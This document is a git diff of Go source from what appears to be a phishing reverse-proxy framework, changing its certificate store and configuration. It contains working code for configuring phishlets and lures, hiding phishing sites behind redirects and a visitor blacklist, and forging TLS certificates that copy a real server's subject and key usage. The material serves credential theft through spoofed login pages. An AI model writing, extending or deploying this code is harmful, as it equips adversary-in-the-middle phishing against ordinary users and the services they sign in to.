+ fn := filepath.Join(o.cache_dir, "email.txt")
-//const acmeURL = "https://acme-staging-v02.api.letsencrypt.org/directory"
-
-func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*CertDb, error) {
- d := &CertDb{
- cfg: cfg,
- dataDir: data_dir,
- ns: ns,
- hs: hs,
+ data, err := ReadFromFile(fn)
+ if err != nil {
+ email = strings.ToLower(GenRandomString(3) + "@" + GenRandomString(6) + ".com")
+ if SaveToFile([]byte(email), fn, 0600) != nil {
+ log.Error("saving email error: %s", err)
+ }
+ } else {
+ email = strings.TrimSpace(string(data))
}
+ return email
+}
- legolog.Logger = log.NullLogger()
- d.hostCache = make(map[string]*tls.Certificate)
- d.phishletCache = make(map[string]map[string]*tls.Certificate)
- d.tls_cache = make(map[string]*tls.Certificate)
+func (o *CertDb) generateCertificates() error {
+ var key *rsa.PrivateKey
+
+ pkey, err := ioutil.ReadFile(filepath.Join(o.cache_dir, "private.key"))
+ if err != nil {
+ pkey, err = ioutil.ReadFile(filepath.Join(o.cache_dir, "ca.key"))
+ }
- pkey_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "private.key"))
if err != nil {
// private key corrupted or not found, recreate and delete all public certificates
- os.RemoveAll(filepath.Join(data_dir, "*"))
+ os.RemoveAll(filepath.Join(o.cache_dir, "*"))
- d.PrivateKey, err = rsa.GenerateKey(rand.Reader, 2048)
+ key, err = rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
- return nil, fmt.Errorf("private key generation failed")
+ return fmt.Errorf("private key generation failed")
}
- pkey_pem = pem.EncodeToMemory(&pem.Block{
+ pkey = pem.EncodeToMemory(&pem.Block{
Type: "RSA PRIVATE KEY",
- Bytes: x509.MarshalPKCS1PrivateKey(d.PrivateKey),
+ Bytes: x509.MarshalPKCS1PrivateKey(key),
})
- err = ioutil.WriteFile(filepath.Join(data_dir, "private.key"), pkey_pem, 0600)
+ err = ioutil.WriteFile(filepath.Join(o.cache_dir, "ca.key"), pkey, 0600)
if err != nil {
- return nil, err
+ return err
}
} else {
- block, _ := pem.Decode(pkey_pem)
+ block, _ := pem.Decode(pkey)
if block == nil {
- return nil, fmt.Errorf("private key is corrupted")
+ return fmt.Errorf("private key is corrupted")
}
- d.PrivateKey, err = x509.ParsePKCS1PrivateKey(block.Bytes)
+ key, err = x509.ParsePKCS1PrivateKey(block.Bytes)
if err != nil {
- return nil, err
+ return err
}
}
- ca_crt_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "ca.crt"))
+ ca_cert, err := ioutil.ReadFile(filepath.Join(o.cache_dir, "ca.crt"))
if err != nil {
notBefore := time.Now()
aYear := time.Duration(10*365*24) * time.Hour
@@ -128,7 +118,7 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
- return nil, err
+ return err
}
template := x509.Certificate{
@@ -148,242 +138,64 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
IsCA: true,
}
- cert, err := x509.CreateCertificate(rand.Reader, &template, &template, &d.PrivateKey.PublicKey, d.PrivateKey)
+ cert, err := x509.CreateCertificate(rand.Reader, &template, &template, &key.PublicKey, key)
if err != nil {
- return nil, err
+ return err
}
- ca_crt_pem = pem.EncodeToMemory(&pem.Block{
+ ca_cert = pem.EncodeToMemory(&pem.Block{
Type: "CERTIFICATE",
Bytes: cert,
})
- err = ioutil.WriteFile(filepath.Join(data_dir, "ca.crt"), ca_crt_pem, 0600)
- if err != nil {
- return nil, err
- }
- }
-
- d.CACert, err = tls.X509KeyPair(ca_crt_pem, pkey_pem)
- if err != nil {
- return nil, err
- }
-
- return d, nil
-}
-
-func (d *CertDb) Reset() {
- d.certUser.Email = "" //hostmaster@" + d.cfg.GetBaseDomain()
-}
-
-func (d *CertDb) SetupHostnameCertificate(hostname string) error {
- err := d.loadHostnameCertificate(hostname)
- if err != nil {
- log.Warning("failed to load certificate files for hostname '%s': %v", hostname, err)
- log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
- err = d.obtainHostnameCertificate(hostname)
+ err = ioutil.WriteFile(filepath.Join(o.cache_dir, "ca.crt"), ca_cert, 0600)
if err != nil {
return err
}
}
- return nil
-}
-
-func (d *CertDb) GetHostnameCertificate(hostname string) (*tls.Certificate, error) {
- cert, ok := d.hostCache[hostname]
- if ok {
- return cert, nil
- }
- return nil, fmt.Errorf("certificate for hostname '%s' not found", hostname)
-}
-
-func (d *CertDb) addHostnameCertificate(hostname string, cert *tls.Certificate) {
- d.hostCache[hostname] = cert
-}
-
-func (d *CertDb) loadHostnameCertificate(hostname string) error {
- crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
-
- cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, hostname+".crt"), filepath.Join(crt_dir, hostname+".key"))
- if err != nil {
- return err
- }
- d.addHostnameCertificate(hostname, &cert)
- return nil
-}
-
-func (d *CertDb) obtainHostnameCertificate(hostname string) error {
- if err := CreateDir(filepath.Join(d.dataDir, HOSTS_DIR), 0700); err != nil {
- return err
- }
- crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
-
- domains := []string{hostname}
- cert_res, err := d.registerCertificate(domains)
- if err != nil {
- return err
- }
-
- cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
- if err != nil {
- return err
- }
- d.addHostnameCertificate(hostname, &cert)
- err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".crt"), cert_res.Certificate, 0600)
- if err != nil {
- return err
- }
- err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".key"), cert_res.PrivateKey, 0600)
+ o.caCert, err = tls.X509KeyPair(ca_cert, pkey)
if err != nil {
return err
}
-
- return nil
-}
-
-func (d *CertDb) SetupPhishletCertificate(site_name string, domains []string) error {
- base_domain, ok := d.cfg.GetSiteDomain(site_name)
- if !ok {
- return fmt.Errorf("phishlet '%s' not found", site_name)
- }
-
- err := d.loadPhishletCertificate(site_name, base_domain)
- if err != nil {
- log.Warning("failed to load certificate files for phishlet '%s', domain '%s': %v", site_name, base_domain, err)
- log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
- err = d.obtainPhishletCertificate(site_name, base_domain, domains)
- if err != nil {
- return err
- }
- }
return nil
}
-func (d *CertDb) GetPhishletCertificate(site_name string, base_domain string) (*tls.Certificate, error) {
- m, ok := d.phishletCache[base_domain]
- if ok {
- cert, ok := m[site_name]
- if ok {
- return cert, nil
- }
- }
- return nil, fmt.Errorf("certificate for phishlet '%s' and domain '%s' not found", site_name, base_domain)
-}
-
-func (d *CertDb) addPhishletCertificate(site_name string, base_domain string, cert *tls.Certificate) {
- _, ok := d.phishletCache[base_domain]
- if !ok {
- d.phishletCache[base_domain] = make(map[string]*tls.Certificate)
- }
- d.phishletCache[base_domain][site_name] = cert
+func (o *CertDb) setManagedSync(hosts []string, t time.Duration) error {
+ ctx, cancel := context.WithTimeout(context.Background(), t)
+ err := o.magic.ManageSync(ctx, hosts)
+ cancel()
+ return err
}
-func (d *CertDb) loadPhishletCertificate(site_name string, base_domain string) error {
- crt_dir := filepath.Join(d.dataDir, base_domain)
-
- cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, site_name+".crt"), filepath.Join(crt_dir, site_name+".key"))
- if err != nil {
- return err
- }
- d.addPhishletCertificate(site_name, base_domain, &cert)
+func (o *CertDb) reloadCertificates() error {
+ // TODO: load private certificates from disk
return nil
}
-func (d *CertDb) obtainPhishletCertificate(site_name string, base_domain string, domains []string) error {
- if err := CreateDir(filepath.Join(d.dataDir, base_domain), 0700); err != nil {
- return err
- }
- crt_dir := filepath.Join(d.dataDir, base_domain)
-
- cert_res, err := d.registerCertificate(domains)
- if err != nil {
- return err
- }
-
- cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
- if err != nil {
- return err
- }
+func (o *CertDb) getTLSCertificate(host string, port int) (*x509.Certificate, error) {
+ log.Debug("Fetching TLS certificate for %s:%d ...", host, port)
- d.addPhishletCertificate(site_name, base_domain, &cert)
-
- err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".crt"), cert_res.Certificate, 0600)
- if err != nil {
- return err
- }
- err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".key"), cert_res.PrivateKey, 0600)
- if err != nil {
- return err
- }
-
- return nil
-}
-
-func (d *CertDb) registerCertificate(domains []string) (*certificate.Resource, error) {
- var err error
- d.certUser = CertUser{
- Email: "", //hostmaster@" + d.cfg.GetBaseDomain(),
- key: d.PrivateKey,
- }
-
- config := lego.NewConfig(&d.certUser)
- config.CADirURL = acmeURL
- config.Certificate.KeyType = certcrypto.RSA2048
-
- d.client, err = lego.NewClient(config)
- if err != nil {
- return nil, err
- }
-
- d.httpChallenge = &HTTPChallenge{crt_db: d}
-
- d.client.Challenge.SetHTTP01Provider(d.httpChallenge)
- d.client.Challenge.Remove(challenge.TLSALPN01)
-
- reg, err := d.client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
- if err != nil {
- return nil, err
- }
- d.certUser.Registration = reg
-
- req := certificate.ObtainRequest{
- Domains: domains,
- Bundle: true,
- }
-
- cert_res, err := d.client.Certificate.Obtain(req)
- if err != nil {
- return nil, err
- }
-
- return cert_res, nil
-}
-
-func (d *CertDb) getServerCertificate(host string, port int) *x509.Certificate {
- log.Debug("Fetching TLS certificate from %s:%d ...", host, port)
-
- config := tls.Config{InsecureSkipVerify: true}
+ config := tls.Config{InsecureSkipVerify: true, NextProtos: []string{"http/1.1"}}
conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", host, port), &config)
if err != nil {
- log.Warning("Could not fetch TLS certificate from %s:%d: %s", host, port, err)
- return nil
+ return nil, err
}
defer conn.Close()
state := conn.ConnectionState()
- return state.PeerCertificates[0]
+ return state.PeerCertificates[0], nil
}
-func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int) (cert *tls.Certificate, err error) {
+func (o *CertDb) getSelfSignedCertificate(host string, phish_host string, port int) (cert *tls.Certificate, err error) {
var x509ca *x509.Certificate
var template x509.Certificate
- cert, ok := d.tls_cache[host]
+ cert, ok := o.tlsCache[host]
if ok {
return cert, nil
}
- if x509ca, err = x509.ParseCertificate(d.CACert.Certificate[0]); err != nil {
+ if x509ca, err = x509.ParseCertificate(o.caCert.Certificate[0]); err != nil {
return
}
@@ -407,9 +219,9 @@ func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int
}
template.Subject.CommonName = host
} else {
- srvCert := d.getServerCertificate(host, port)
- if srvCert == nil {
- return nil, fmt.Errorf("failed to get TLS certificate for: %s", host)
+ srvCert, err := o.getTLSCertificate(host, port)
+ if err != nil {
+ return nil, fmt.Errorf("failed to get TLS certificate for: %s:%d error: %s", host, port, err)
} else {
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
@@ -422,7 +234,7 @@ func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int
Issuer: x509ca.Subject,
Subject: srvCert.Subject,
NotBefore: srvCert.NotBefore,
- NotAfter: srvCert.NotAfter,
+ NotAfter: time.Now().Add(time.Hour * 24 * 180),
KeyUsage: srvCert.KeyUsage,
ExtKeyUsage: srvCert.ExtKeyUsage,
IPAddresses: srvCert.IPAddresses,
@@ -439,15 +251,15 @@ func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int
}
var derBytes []byte
- if derBytes, err = x509.CreateCertificate(rand.Reader, &template, x509ca, &pkey.PublicKey, d.CACert.PrivateKey); err != nil {
+ if derBytes, err = x509.CreateCertificate(rand.Reader, &template, x509ca, &pkey.PublicKey, o.caCert.PrivateKey); err != nil {
return
}
cert = &tls.Certificate{
- Certificate: [][]byte{derBytes, d.CACert.Certificate[0]},
+ Certificate: [][]byte{derBytes, o.caCert.Certificate[0]},
PrivateKey: pkey,
}
- d.tls_cache[host] = cert
+ o.tlsCache[host] = cert
return cert, nil
}
diff --git a/core/config.go b/core/config.go
index 4f05f6686..1274fd79c 100644
--- a/core/config.go
+++ b/core/config.go
@@ -11,82 +11,101 @@ import (
"github.com/spf13/viper"
)
+var BLACKLIST_MODES = []string{"all", "unauth", "noadd", "off"}
+
type Lure struct {
- Hostname string `mapstructure:"hostname" yaml:"hostname"`
- Path string `mapstructure:"path" yaml:"path"`
- RedirectUrl string `mapstructure:"redirect_url" yaml:"redirect_url"`
- Phishlet string `mapstructure:"phishlet" yaml:"phishlet"`
- Template string `mapstructure:"template" yaml:"template"`
- UserAgentFilter string `mapstructure:"ua_filter" yaml:"ua_filter"`
- Info string `mapstructure:"info" yaml:"info"`
- OgTitle string `mapstructure:"og_title" yaml:"og_title"`
- OgDescription string `mapstructure:"og_desc" yaml:"og_desc"`
- OgImageUrl string `mapstructure:"og_image" yaml:"og_image"`
- OgUrl string `mapstructure:"og_url" yaml:"og_url"`
+ Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
+ Path string `mapstructure:"path" json:"path" yaml:"path"`
+ RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
+ Phishlet string `mapstructure:"phishlet" json:"phishlet" yaml:"phishlet"`
+ Redirector string `mapstructure:"redirector" json:"redirector" yaml:"redirector"`
+ UserAgentFilter string `mapstructure:"ua_filter" json:"ua_filter" yaml:"ua_filter"`
+ Info string `mapstructure:"info" json:"info" yaml:"info"`
+ OgTitle string `mapstructure:"og_title" json:"og_title" yaml:"og_title"`
+ OgDescription string `mapstructure:"og_desc" json:"og_desc" yaml:"og_desc"`
+ OgImageUrl string `mapstructure:"og_image" json:"og_image" yaml:"og_image"`
+ OgUrl string `mapstructure:"og_url" json:"og_url" yaml:"og_url"`
+}
+
+type SubPhishlet struct {
+ Name string `mapstructure:"name" json:"name" yaml:"name"`
+ ParentName string `mapstructure:"parent_name" json:"parent_name" yaml:"parent_name"`
+ Params map[string]string `mapstructure:"params" json:"params" yaml:"params"`
+}
+
+type PhishletConfig struct {
+ Hostname string `mapstructure:"hostname" json:"hostname" yaml:"hostname"`
+ Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
+ Visible bool `mapstructure:"visible" json:"visible" yaml:"visible"`
+}
+
+type ProxyConfig struct {
+ Type string `mapstructure:"type" json:"type" yaml:"type"`
+ Address string `mapstructure:"address" json:"address" yaml:"address"`
+ Port int `mapstructure:"port" json:"port" yaml:"port"`
+ Username string `mapstructure:"username" json:"username" yaml:"username"`
+ Password string `mapstructure:"password" json:"password" yaml:"password"`
+ Enabled bool `mapstructure:"enabled" json:"enabled" yaml:"enabled"`
+}
+
+type BlacklistConfig struct {
+ Mode string `mapstructure:"mode" json:"mode" yaml:"mode"`
+}
+
+type CertificatesConfig struct {
+}
+
+type GeneralConfig struct {
+ Domain string `mapstructure:"domain" json:"domain" yaml:"domain"`
+ Ipv4 string `mapstructure:"ipv4" json:"ipv4" yaml:"ipv4"`
+ RedirectUrl string `mapstructure:"redirect_url" json:"redirect_url" yaml:"redirect_url"`
+ HttpsPort int `mapstructure:"https_port" json:"https_port" yaml:"https_port"`
+ DnsPort int `mapstructure:"dns_port" json:"dns_port" yaml:"dns_port"`
}
type Config struct {
- siteDomains map[string]string
- baseDomain string
- serverIP string
- proxyType string
- proxyAddress string
- proxyPort int
- proxyUsername string
- proxyPassword string
- blackListMode string
- proxyEnabled bool
- sitesEnabled map[string]bool
- sitesHidden map[string]bool
- phishlets map[string]*Phishlet
- phishletNames []string
- activeHostnames []string
- redirectParam string
- verificationParam string
- verificationToken string
- redirectUrl string
- templatesDir string
- lures []*Lure
- cfg *viper.Viper
+ general *GeneralConfig
+ certificates *CertificatesConfig
+ blacklistConfig *BlacklistConfig
+ proxyConfig *ProxyConfig
+ phishletConfig map[string]*PhishletConfig
+ phishlets map[string]*Phishlet
+ phishletNames []string
+ activeHostnames []string
+ redirectorsDir string
+ lures []*Lure
+ subphishlets []*SubPhishlet
+ cfg *viper.Viper
}
const (
- CFG_SITE_DOMAINS = "site_domains"
- CFG_BASE_DOMAIN = "server"
- CFG_SERVER_IP = "ip"
- CFG_SITES_ENABLED = "sites_enabled"
- CFG_SITES_HIDDEN = "sites_hidden"
- CFG_REDIRECT_PARAM = "redirect_key"
- CFG_VERIFICATION_PARAM = "verification_key"
- CFG_VERIFICATION_TOKEN = "verification_token"
- CFG_REDIRECT_URL = "redirect_url"
- CFG_LURES = "lures"
- CFG_PROXY_TYPE = "proxy_type"
- CFG_PROXY_ADDRESS = "proxy_address"
- CFG_PROXY_PORT = "proxy_port"
- CFG_PROXY_USERNAME = "proxy_username"
- CFG_PROXY_PASSWORD = "proxy_password"
- CFG_PROXY_ENABLED = "proxy_enabled"
- CFG_BLACKLIST_MODE = "blacklist_mode"
+ CFG_GENERAL = "general"
+ CFG_CERTIFICATES = "certificates"
+ CFG_LURES = "lures"
+ CFG_PROXY = "proxy"
+ CFG_PHISHLETS = "phishlets"
+ CFG_BLACKLIST = "blacklist"
+ CFG_SUBPHISHLETS = "subphishlets"
)
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
func NewConfig(cfg_dir string, path string) (*Config, error) {
c := &Config{
- siteDomains: make(map[string]string),
- sitesEnabled: make(map[string]bool),
- sitesHidden: make(map[string]bool),
- phishlets: make(map[string]*Phishlet),
- phishletNames: []string{},
- lures: []*Lure{},
+ general: &GeneralConfig{},
+ certificates: &CertificatesConfig{},
+ phishletConfig: make(map[string]*PhishletConfig),
+ phishlets: make(map[string]*Phishlet),
+ phishletNames: []string{},
+ lures: []*Lure{},
+ blacklistConfig: &BlacklistConfig{},
}
c.cfg = viper.New()
- c.cfg.SetConfigType("yaml")
+ c.cfg.SetConfigType("json")
if path == "" {
- path = filepath.Join(cfg_dir, "config.yaml")
+ path = filepath.Join(cfg_dir, "config.json")
}
err := os.MkdirAll(filepath.Dir(path), os.FileMode(0700))
if err != nil {
@@ -107,96 +126,107 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
return nil, err
}
- c.baseDomain = c.cfg.GetString(CFG_BASE_DOMAIN)
- c.serverIP = c.cfg.GetString(CFG_SERVER_IP)
- c.siteDomains = c.cfg.GetStringMapString(CFG_SITE_DOMAINS)
- c.redirectParam = c.cfg.GetString(CFG_REDIRECT_PARAM)
- c.verificationParam = c.cfg.GetString(CFG_VERIFICATION_PARAM)
- c.verificationToken = c.cfg.GetString(CFG_VERIFICATION_TOKEN)
- c.redirectUrl = c.cfg.GetString(CFG_REDIRECT_URL)
- c.proxyType = c.cfg.GetString(CFG_PROXY_TYPE)
- c.proxyAddress = c.cfg.GetString(CFG_PROXY_ADDRESS)
- c.proxyPort = c.cfg.GetInt(CFG_PROXY_PORT)
- c.proxyUsername = c.cfg.GetString(CFG_PROXY_USERNAME)
- c.proxyPassword = c.cfg.GetString(CFG_PROXY_PASSWORD)
- c.proxyEnabled = c.cfg.GetBool(CFG_PROXY_ENABLED)
- c.blackListMode = c.cfg.GetString(CFG_BLACKLIST_MODE)
- s_enabled := c.cfg.GetStringSlice(CFG_SITES_ENABLED)
- for _, site := range s_enabled {
- c.sitesEnabled[site] = true
- }
- s_hidden := c.cfg.GetStringSlice(CFG_SITES_HIDDEN)
- for _, site := range s_hidden {
- c.sitesHidden[site] = true
- }
-
- if !stringExists(c.blackListMode, []string{"all", "unauth", "off"}) {
- c.SetBlacklistMode("off")
- }
-
- var param string
- if c.redirectParam == "" {
- param = strings.ToLower(GenRandomString(2))
- c.SetRedirectParam(param)
- }
- if c.verificationParam == "" {
- for {
- param = strings.ToLower(GenRandomString(2))
- if param != c.redirectParam {
- break
- }
- }
- c.SetVerificationParam(param)
- }
- if c.verificationToken == "" {
- c.SetVerificationToken(GenRandomToken()[:4])
+ c.cfg.UnmarshalKey(CFG_GENERAL, &c.general)
+ c.cfg.UnmarshalKey(CFG_BLACKLIST, &c.blacklistConfig)
+
+ if !stringExists(c.blacklistConfig.Mode, BLACKLIST_MODES) {
+ c.SetBlacklistMode("unauth")
}
- if c.redirectUrl == "" && created_cfg {
+
+ if c.general.RedirectUrl == "" && created_cfg {
c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
}
+ if c.general.HttpsPort == 0 {
+ c.SetHttpsPort(443)
+ }
+ if c.general.DnsPort == 0 {
+ c.SetDnsPort(53)
+ }
+
c.lures = []*Lure{}
c.cfg.UnmarshalKey(CFG_LURES, &c.lures)
+ c.proxyConfig = &ProxyConfig{}
+ c.cfg.UnmarshalKey(CFG_PROXY, &c.proxyConfig)
+ c.cfg.UnmarshalKey(CFG_PHISHLETS, &c.phishletConfig)
+ c.cfg.UnmarshalKey(CFG_CERTIFICATES, &c.certificates)
return c, nil
}
-func (c *Config) SetSiteHostname(site string, domain string) bool {
- if c.baseDomain == "" {
- log.Error("you need to set server domain, first. type: server your-domain.com")
+func (c *Config) PhishletConfig(site string) *PhishletConfig {
+ if o, ok := c.phishletConfig[site]; ok {
+ return o
+ } else {
+ o := &PhishletConfig{
+ Hostname: "",
+ Enabled: false,
+ Visible: true,
+ }
+ c.phishletConfig[site] = o
+ return o
+ }
+}
+
+func (c *Config) SavePhishlets() {
+ c.cfg.Set(CFG_PHISHLETS, c.phishletConfig)
+ c.cfg.WriteConfig()
+}
+
+func (c *Config) SetSiteHostname(site string, hostname string) bool {
+ if c.general.Domain == "" {
+ log.Error("you need to set server top-level domain, first. type: server your-domain.com")
return false
}
- if _, err := c.GetPhishlet(site); err != nil {
+ pl, err := c.GetPhishlet(site)
+ if err != nil {
log.Error("%v", err)
return false
}
- if domain != c.baseDomain && !strings.HasSuffix(domain, "."+c.baseDomain) {
- log.Error("phishlet hostname must end with '%s'", c.baseDomain)
+ if pl.isTemplate {
+ log.Error("phishlet is a template - can't set hostname")
return false
}
- c.siteDomains[site] = domain
- c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
- log.Info("phishlet '%s' hostname set to: %s", site, domain)
- c.cfg.WriteConfig()
+ if hostname != "" && hostname != c.general.Domain && !strings.HasSuffix(hostname, "."+c.general.Domain) {
+ log.Error("phishlet hostname must end with '%s'", c.general.Domain)
+ return false
+ }
+ log.Info("phishlet '%s' hostname set to: %s", site, hostname)
+ c.PhishletConfig(site).Hostname = hostname
+ c.SavePhishlets()
return true
}
func (c *Config) SetBaseDomain(domain string) {
- c.baseDomain = domain
- c.cfg.Set(CFG_BASE_DOMAIN, c.baseDomain)
+ c.general.Domain = domain
+ c.cfg.Set(CFG_GENERAL, c.general)
log.Info("server domain set to: %s", domain)
c.cfg.WriteConfig()
}
func (c *Config) SetServerIP(ip_addr string) {
- c.serverIP = ip_addr
- c.cfg.Set(CFG_SERVER_IP, c.serverIP)
+ c.general.Ipv4 = ip_addr
+ c.cfg.Set(CFG_GENERAL, c.general)
log.Info("server IP set to: %s", ip_addr)
c.cfg.WriteConfig()
}
+func (c *Config) SetHttpsPort(port int) {
+ c.general.HttpsPort = port
+ c.cfg.Set(CFG_GENERAL, c.general)
+ log.Info("https port set to: %d", port)
+ c.cfg.WriteConfig()
+}
+
+func (c *Config) SetDnsPort(port int) {
+ c.general.DnsPort = port
+ c.cfg.Set(CFG_GENERAL, c.general)
+ log.Info("dns port set to: %d", port)
+ c.cfg.WriteConfig()
+}
+
func (c *Config) EnableProxy(enabled bool) {
- c.proxyEnabled = enabled
- c.cfg.Set(CFG_PROXY_ENABLED, c.proxyEnabled)
+ c.proxyConfig.Enabled = enabled
+ c.cfg.Set(CFG_PROXY, c.proxyConfig)
if enabled {
log.Info("enabled proxy")
} else {
@@ -211,44 +241,44 @@ func (c *Config) SetProxyType(ptype string) {
log.Error("invalid proxy type selected")
return
}
- c.proxyType = ptype
- c.cfg.Set(CFG_PROXY_TYPE, c.proxyType)
- log.Info("proxy type set to: %s", c.proxyType)
+ c.proxyConfig.Type = ptype
+ c.cfg.Set(CFG_PROXY, c.proxyConfig)
+ log.Info("proxy type set to: %s", ptype)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyAddress(address string) {
- c.proxyAddress = address
- c.cfg.Set(CFG_PROXY_ADDRESS, c.proxyAddress)
- log.Info("proxy address set to: %s", c.proxyAddress)
+ c.proxyConfig.Address = address
+ c.cfg.Set(CFG_PROXY, c.proxyConfig)
+ log.Info("proxy address set to: %s", address)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyPort(port int) {
- c.proxyPort = port
- c.cfg.Set(CFG_PROXY_PORT, c.proxyPort)
- log.Info("proxy port set to: %d", c.proxyPort)
+ c.proxyConfig.Port = port
+ c.cfg.Set(CFG_PROXY, c.proxyConfig.Port)
+ log.Info("proxy port set to: %d", port)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyUsername(username string) {
- c.proxyUsername = username
- c.cfg.Set(CFG_PROXY_USERNAME, c.proxyUsername)
- log.Info("proxy username set to: %s", c.proxyUsername)
+ c.proxyConfig.Username = username
+ c.cfg.Set(CFG_PROXY, c.proxyConfig)
+ log.Info("proxy username set to: %s", username)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyPassword(password string) {
- c.proxyPassword = password
- c.cfg.Set(CFG_PROXY_PASSWORD, c.proxyPassword)
- log.Info("proxy password set to: %s", c.proxyPassword)
+ c.proxyConfig.Password = password
+ c.cfg.Set(CFG_PROXY, c.proxyConfig)
+ log.Info("proxy password set to: %s", password)
c.cfg.WriteConfig()
}
func (c *Config) IsLureHostnameValid(hostname string) bool {
for _, l := range c.lures {
if l.Hostname == hostname {
- if c.sitesEnabled[l.Phishlet] {
+ if c.PhishletConfig(l.Phishlet).Enabled {
return true
}
}
@@ -257,21 +287,23 @@ func (c *Config) IsLureHostnameValid(hostname string) bool {
}
func (c *Config) SetSiteEnabled(site string) error {
- if _, err := c.GetPhishlet(site); err != nil {
+ pl, err := c.GetPhishlet(site)
+ if err != nil {
log.Error("%v", err)
return err
}
- if !c.IsSiteEnabled(site) {
- c.sitesEnabled[site] = true
+ if c.PhishletConfig(site).Hostname == "" {
+ return fmt.Errorf("enabling phishlet '%s' requires its hostname to be set up", site)
}
- c.refreshActiveHostnames()
- var sites []string
- for s, _ := range c.sitesEnabled {
- sites = append(sites, s)
+ if pl.isTemplate {
+ return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", site)
}
- c.cfg.Set(CFG_SITES_ENABLED, sites)
+ c.PhishletConfig(site).Enabled = true
+ c.refreshActiveHostnames()
+ c.VerifyPhishlets()
log.Info("enabled phishlet '%s'", site)
- c.cfg.WriteConfig()
+
+ c.SavePhishlets()
return nil
}
@@ -280,17 +312,11 @@ func (c *Config) SetSiteDisabled(site string) error {
log.Error("%v", err)
return err
}
- if c.IsSiteEnabled(site) {
- delete(c.sitesEnabled, site)
- }
+ c.PhishletConfig(site).Enabled = false
c.refreshActiveHostnames()
- var sites []string
- for s, _ := range c.sitesEnabled {
- sites = append(sites, s)
- }
- c.cfg.Set(CFG_SITES_ENABLED, sites)
log.Info("disabled phishlet '%s'", site)
- c.cfg.WriteConfig()
+
+ c.SavePhishlets()
return nil
}
@@ -299,102 +325,57 @@ func (c *Config) SetSiteHidden(site string, hide bool) error {
log.Error("%v", err)
return err
}
- if hide {
- if !c.IsSiteHidden(site) {
- c.sitesHidden[site] = true
- }
- } else {
- if c.IsSiteHidden(site) {
- delete(c.sitesHidden, site)
- }
- }
+ c.PhishletConfig(site).Visible = !hide
c.refreshActiveHostnames()
- var sites []string
- for s, _ := range c.sitesHidden {
- sites = append(sites, s)
- }
- c.cfg.Set(CFG_SITES_HIDDEN, sites)
+
if hide {
log.Info("phishlet '%s' is now hidden and all requests to it will be redirected", site)
} else {
log.Info("phishlet '%s' is now reachable and visible from the outside", site)
}
- c.cfg.WriteConfig()
+ c.SavePhishlets()
return nil
}
-func (c *Config) SetTemplatesDir(path string) {
- c.templatesDir = path
+func (c *Config) SetRedirectorsDir(path string) {
+ c.redirectorsDir = path
}
func (c *Config) ResetAllSites() {
- for s, _ := range c.sitesEnabled {
- c.SetSiteDisabled(s)
- }
- for s, _ := range c.phishlets {
- c.siteDomains[s] = ""
- }
- c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
- c.cfg.WriteConfig()
+ c.phishletConfig = make(map[string]*PhishletConfig)
+ c.SavePhishlets()
}
func (c *Config) IsSiteEnabled(site string) bool {
- s, ok := c.sitesEnabled[site]
- if !ok {
- return false
- }
- return s
+ return c.PhishletConfig(site).Enabled
}
func (c *Config) IsSiteHidden(site string) bool {
- s, ok := c.sitesHidden[site]
- if !ok {
- return false
- }
- return s
+ return !c.PhishletConfig(site).Visible
}
func (c *Config) GetEnabledSites() []string {
var sites []string
- for s, _ := range c.sitesEnabled {
- sites = append(sites, s)
+ for k, o := range c.phishletConfig {
+ if o.Enabled {
+ sites = append(sites, k)
+ }
}
return sites
}
-func (c *Config) SetRedirectParam(param string) {
- c.redirectParam = param
- c.cfg.Set(CFG_REDIRECT_PARAM, param)
- log.Info("redirect parameter set to: %s", param)
- c.cfg.WriteConfig()
-}
-
func (c *Config) SetBlacklistMode(mode string) {
- if stringExists(mode, []string{"all", "unauth", "off"}) {
- c.blackListMode = mode
- c.cfg.Set(CFG_BLACKLIST_MODE, mode)
+ if stringExists(mode, BLACKLIST_MODES) {
+ c.blacklistConfig.Mode = mode
+ c.cfg.Set(CFG_BLACKLIST, c.blacklistConfig)
c.cfg.WriteConfig()
}
log.Info("blacklist mode set to: %s", mode)
}
-func (c *Config) SetVerificationParam(param string) {
- c.verificationParam = param
